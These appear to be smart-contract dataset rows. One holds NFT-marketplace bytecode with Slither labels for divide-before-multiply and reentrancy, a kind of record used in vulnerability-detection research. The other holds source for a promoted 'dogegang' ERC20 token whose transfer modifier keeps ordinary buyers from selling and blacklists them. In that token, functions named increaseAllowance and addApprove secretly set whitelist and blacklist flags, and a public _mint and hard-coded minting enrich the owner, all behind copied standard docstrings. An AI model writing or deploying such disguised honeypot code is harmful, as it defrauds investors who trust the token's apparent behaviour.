16917f60a11f1619b1716bc2857bf610d4bc631336e14d197025fd5875c1aca1ac7cbd9181900360600190a35050600160655550505050505050565b612ea66131fb565b6001600160a01b0316612eb7612487565b6001600160a01b031614612f00576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b6001600160a01b038116612f455760405162461bcd60e51b8152600401808060200182810382526026815260200180614b4e6026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380546001600160a01b0319166001600160a01b0392909216919091179055565b6127108161ffff161115612fee576040805162461bcd60e51b815260206004820152600f60248201526e696e76616c696420726f79616c747960881b604482015290519081900360640190fd5b612ff78361411a565b61303e576040805162461bcd60e51b8152602060048201526013602482015272696e76616c6964206e6674206164647265737360681b604482015290519081900360640190fd5b613052838361304b6131fb565b6001613203565b6001600160a01b03838116600090815260976020908152604080832086845290915290205416156130c0576040805162461bcd60e51b81526020600482015260136024820152721c9bde585b1d1e48185b1c9958591e481cd95d606a1b604482015290519081900360640190fd5b6130c86131fb565b6001600160a01b039384166000818152609760209081526040808320878452825280832080546001600160a01b03191695909816949094179096559081526098855281812093815292909352919020805461ffff191661ffff909216919091179055565b60a0546001600160a01b031681565b6131436131fb565b6001600160a01b0316613154612487565b6001600160a01b03161461319d576040805162461bcd60e51b81526020600482018190526024820152600080516020614be9833981519152604482015290519081900360640190fd5b609b80546001600160a01b03831662010000810262010000600160b01b03199092169190911790915560408051918252517fe57e7c1f36cc83fade34e32351e6eee7eb9da532662b1b5da10c631e8222aca79181900360200190a150565b3390565b4290565b604080516301ffc9a760e01b81526380ac58cd60e01b600482015290516001600160a01b038616916301ffc9a7916024808301926020929190829003018186803b15801561325057600080fd5b505afa158015613264573d6000803e3d6000fd5b505050506040513d602081101561327a57600080fd5b505115613353576000849050826001600160a01b0316816001600160a01b0316636352211e866040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156132d457600080fd5b505afa1580156132e8573d6000803e3d6000fd5b505050506040513d60208110156132fe57600080fd5b50516001600160a01b03161461334d576040805162461bcd60e51b815260206004820152600f60248201526e6e6f74206f776e696e67206974656d60881b604482015290519081900360640190fd5b50612a5b565b604080516301ffc9a760e01b8152636cdb3d1360e11b600482015290516001600160a01b038616916301ffc9a7916024808301926020929190829003018186803b1580156133a057600080fd5b505afa1580156133b4573d6000803e3d6000fd5b505050506040513d60208110156133ca57600080fd5b50511561169757600084905081816001600160a01b031662fdd58e85876040518363ffffffff1660e01b815260040180836001600160a01b031681526020018281526020019250505060206040518083038186803b15801561342b57600080fd5b505afa15801561343f573d6000803e3d6000fd5b505050506040513d602081101561345557600080fd5b5051101561334d576040805162461bcd60e51b815260206004820152600f60248201526e6e6f74206f776e696e67206974656d60881b604482015290519081900360640190fd5b6000826134ab575060006134f8565b828202828482816134b857fe5b04146134f55760405162461bcd60e51b8152600401808060200182810382526021815260200180614bc86021913960400191505060405180910390fd5b90505b92915050565b6000808211613554576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161355d57fe5b049392505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052612a5b90859061458b565b600082821115613616576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6000828201838110156134f5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03811615806137fb575060a05460408051639d23c4c760e01b815290516000926001600160a01b031691639d23c4c7916004808301926020929190829003018186803b1580156136cc57600080fd5b505afa1580156136e0573d6000803e3d6000fd5b505050506040513d60208110156136f657600080fd5b50516001600160a01b0316148015906137fb575060a060009054906101000a90046001600160a01b03166001600160a01b0316639d23c4c76040518163ffffffff1660e01b815260040160206040518083038186803b15801561375857600080fd5b505afa15801561376c573d6000803e3d6000fd5b505050506040513d602081101561378257600080fd5b5051604080516398afdfe360e01b81526001600160a01b038481166004830152915191909216916398afdfe3916024808301926020929190829003018186803b1580156137ce57600080fd5b505afa1580156137e2573d6000803e3d6000fd5b505050506040513d60208110156137f857600080fd5b50515b613840576040805162461bcd60e51b815260206004820152601160248201527034b73b30b634b2103830bc903a37b5b2b760791b604482015290519081900360640190fd5b50565b61384b614ad0565b506001600160a01b03808516600090815260996020908152604080832087845282528083208585168452825280832081516080810183528154808252600183015490961693810193909352600281015491830182905260030154606083015290926138b6919061349c565b609b549091506000906138d69061271090610bca90859061ffff1661349c565b90506139006138e36131fb565b609b546001600160a01b0388811692916201000090041684613565565b6001600160a01b0380881660008181526097602090815260408083208b8452825280832054938352609882528083208b845290915290205491169061ffff168115801590613951575061ffff811615155b156139a1576000613970612710610bca61ffff8516610c6889896135bf565b905061398f61397d6131fb565b6001600160a01b038a16908584613565565b613999848261361c565b935050613a16565b50506001600160a01b038088166000908152609f602052604090206001810154905491169061ffff1681158015906139dc575061ffff811615155b15613a165760006139fb612710610bca61ffff8516610c6889896135bf565b9050613a0861397d6131fb565b613a12848261361c565b9350505b613a3e613a216131fb565b87613a2c87876135bf565b6001600160a01b038b16929190613565565b613a4884846135bf565b15613ac457609c54609e54613a8d916001600160a01b0316908890613a799061271090610bca90610c688b8b6135bf565b609d546001600160a01b0316929190613565565b609c54613ac4906001600160a01b0316613aa56131fb565b613a79612710610bca609e54610c688a8c6135bf90919063ffffffff16565b604080516301ffc9a760e01b81526380ac58cd60e01b600482015290516001600160a01b038b16916301ffc9a7916024808301926020929190829003018186803b158015613b1157600080fd5b505afa158015613b25573d6000803e3d6000fd5b505050506040513d6020811015613b3b57600080fd5b505115613bce57886001600160a01b03166342842e0e87613b5a6131fb565b8b6040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050600060405180830381600087803b158015613bb157600080fd5b505af1158015613bc5573d6000803e3d6000fd5b50505050613cdb565b886001600160a01b031663f242432a87613be66131fb565b8b8960000151604051806020016040528060008152506040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b0316815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015613c72578181015183820152602001613c5a565b50505050905090810190601f168015613c9f5780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b158015613cc257600080fd5b505af1158015613cd6573d6000803e3d6000fd5b505050505b60a060009054906101000a90046001600160a01b03166001600160a01b0316639e1f5b286040518163ffffffff1660e01b815260040160206040518083038186803b158015613d2957600080fd5b505afa158015613d3d573d6000803e3d6000fd5b505050506040513d6020811015613d5357600080fd5b50518551604080516309f07d3d60e21b81526001600160a01b038d81166004830152602482018d90526044820193909352905191909216916327c1f4f491606480830192600092919082900301818387803b158015613db157600080fd5b505af1158015613dc5573d6000803e3d6000fd5b50505050886001600160a01b0316613ddb6131fb565b6001600160a01b0316876001600160a01b03167f949d1413baca5c0e4ab96b0198d536cac8cdcc17cb909b9ea24594f42ed9fa0d8b89600001518c613e1f8e6117f9565b8c51613e2c908d906134fe565b6040805195865260208601949094526001600160a01b039092168484015260608401526080830152519081900360a00190a45050506001600160a01b03958616600090815260996020908152604080832097835296815286822094909716815292909552509182208281556001810180546001600160a01b031916905560028101839055600301919091555050565b6000613ec630614641565b15905090565b600054610100900460ff1680613ee55750613ee5613ebb565b80613ef3575060005460ff16155b613f2e5760405162461bcd60e51b815260040180806020018281038252602e815260200180614b9a602e913960400191505060405180910390fd5b600054610100900460ff16158015613f59576000805460ff1961ff0019909116610100171660011790555b613f61614647565b613f696146e7565b8015613840576000805461ff001916905550565b600054610100900460ff1680613f965750613f96613ebb565b80613fa4575060005460ff16155b613fdf5760405162461bcd60e51b815260040180806020018281038252602e815260200180614b9a602e913960400191505060405180910390fd5b600054610100900460ff1615801561400a576000805460ff1961ff0019909116610100171660011790555b613f696147e0565b61401a614ad0565b506001600160a01b038084166000908152609960209081526040808320868452825280832085851684528252918290208251608081018452815480825260018301549095169281019290925260028101549282019290925260039091015460608201529061408d90859085908590613203565b6001600160a01b03808516600081815260996020908152604080832088845282528083209487168084529482528083208381556001810180546001600160a01b03191690556002810184905560030192909255815187815291519293927f9ba1a3cb55ce8d63d072a886f94d2a744f50cddf82128e897d0661f5ec6231589281900390910190a350505050565b6000816001600160a01b031660a060009054906101000a90046001600160a01b03166001600160a01b0316639b03e9ca6040518163ffffffff1660e01b815260040160206040518083038186803b15801561417457600080fd5b505afa158015614188573d6000803e3d6000fd5b505050506040513d602081101561419e57600080fd5b50516001600160a01b031614806142a1575060a060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156141fe57600080fd5b505afa158015614212573d6000803e3d6000fd5b505050506040513d602081101561422857600080fd5b505160408051637b51e92760e11b81526001600160a01b0385811660048301529151919092169163f6a3d24e916024808301926020929190829003018186803b15801561427457600080fd5b505afa158015614288573d6000803e3d6000fd5b505050506040513d602081101561429e57600080fd5b50515b80614398575060a060009054906101000a90046001600160a01b03166001600160a01b031663735db9396040518163ffffffff1660e01b815260040160206040518083038186803b1580156142f557600080fd5b505afa158015614309573d6000803e3d6000fd5b505050506040513d602081101561431f57600080fd5b505160408051637b51e92760e11b81526001600160a01b0385811660048301529151919092169163f6a3d24e916024808301926020929190829003018186803b15801561436b57600080fd5b505afa15801561437f573d6000803e3d6000fd5b505050506040513d602081101561439557600080fd5b50515b8061448f575060a060009054906101000a90046001600160a01b03166001600160a01b0316630fb27d8c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156143ec57600080fd5b505afa158015614400573d6000803e3d6000fd5b505050506040513d602081101561441657600080fd5b505160408051637b51e92760e11b81526001600160a01b0385811660048301529151919092169163f6a3d24e916024808301926020929190829003018186803b15801561446257600080fd5b505afa158015614476573d6000803e3d6000fd5b505050506040513d602081101561448c57600080fd5b50515b806134f8575060a060009054906101000a90046001600160a01b03166001600160a01b031663924db13f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156144e357600080fd5b505afa1580156144f7573d6000803e3d6000fd5b505050506040513d602081101561450d57600080fd5b505160408051637b51e92760e11b81526001600160a01b0385811660048301529151919092169163f6a3d24e916024808301926020929190829003018186803b15801561455957600080fd5b505afa15801561456d573d6000803e3d6000fd5b505050506040513d602081101561458357600080fd5b505192915050565b60606145e0826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166148869092919063ffffffff16565b80519091501561463c578080602001905160208110156145ff57600080fd5b505161463c5760405162461bcd60e51b815260040180806020018281038252602a815260200180614c2a602a913960400191505060405180910390fd5b505050565b3b151590565b600054610100900460ff16806146605750614660613ebb565b8061466e575060005460ff16155b6146a95760405162461bcd60e51b815260040180806020018281038252602e815260200180614b9a602e913960400191505060405180910390fd5b600054610100900460ff16158015613f69576000805460ff1961ff0019909116610100171660011790558015613840576000805461ff001916905550565b600054610100900460ff16806147005750614700613ebb565b8061470e575060005460ff16155b6147495760405162461bcd60e51b815260040180806020018281038252602e815260200180614b9a602e913960400191505060405180910390fd5b600054610100900460ff16158015614774576000805460ff1961ff0019909116610100171660011790555b600061477e6131fb565b603380546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015613840576000805461ff001916905550565b600054610100900460ff16806147f957506147f9613ebb565b80614807575060005460ff16155b6148425760405162461bcd60e51b815260040180806020018281038252602e815260200180614b9a602e913960400191505060405180910390fd5b600054610100900460ff1615801561486d576000805460ff1961ff0019909116610100171660011790555b60016065558015613840576000805461ff001916905550565b6060614895848460008561489f565b90505b9392505050565b6060824710156148e05760405162461bcd60e51b8152600401808060200182810382526026815260200180614b746026913960400191505060405180910390fd5b6148e985614641565b61493a576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106149795780518252601f19909201916020918201910161495a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146149db576040519150601f19603f3d011682016040523d82523d6000602084013e6149e0565b606091505b50915091506149f08282866149fb565b979650505050505050565b60608315614a0a575081614898565b825115614a1a5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614a64578181015183820152602001614a4c565b50505050905090810190601f168015614a915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b604051806080016040528060006001600160a01b031681526020016000815260200160008152602001600081525090565b60405180608001604052806000815260200160006001600160a01b031681526020016000815260200160008152509056fe5265656e7472616e637947756172643a207265656e7472616e742063616c6c0063616e6e6f7420706c61636520616e206f666665722069662061756374696f6e20697320676f696e67206f6e4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657273656e646572206d7573742062652062756e646c65206d61726b6574706c6163655361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e6f83d2be8f8148ec1de6b11c1348b764ed9615e0f8c977c88c704a78495574f64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
22022,
2620,
2683,
2497,
21486,
4246,
2546,
2683,
2497,
2575,
2094,
2629,
2497,
2581,
2063,
2620,
2683,
21057,
28311,
24594,
2487,
3540,
2063,
2575,
2683,
3676,
2581,
16409,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2260,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
17174,
13102,
18491,
1013,
29464,
11890,
16048,
2629,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
14526,
24087,
1013,
29464,
11890,
14526,
24087,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
29464,
11890,
2581,
17465,
1012,
14017,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,547 | 0x95554e0bcba042aaddd59fc7739353c498858c05 | pragma solidity ^0.6.0;
/**
* Website: https://dogegang.finance
Twitter (please like and retweet the launch post): https://twitter.com/dogegang
Telegram chat: https://t.me/dogeganginu
Coming soon:
1.) UniSwap v2 listing
2.) CoinGecko listing (request submitted).
3.) CoinMarketCap listing (request submitted).
4.) Smart Contract Audit Report (being organised).
Group Rules:
Only English
No Fud
Respect each other
Let's get the word out ππ
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TokenContract is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(owner, initialSupply*(10**18));
_mint(0x163852c749F9D897E085fB9F733c1224DdA9f431, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffff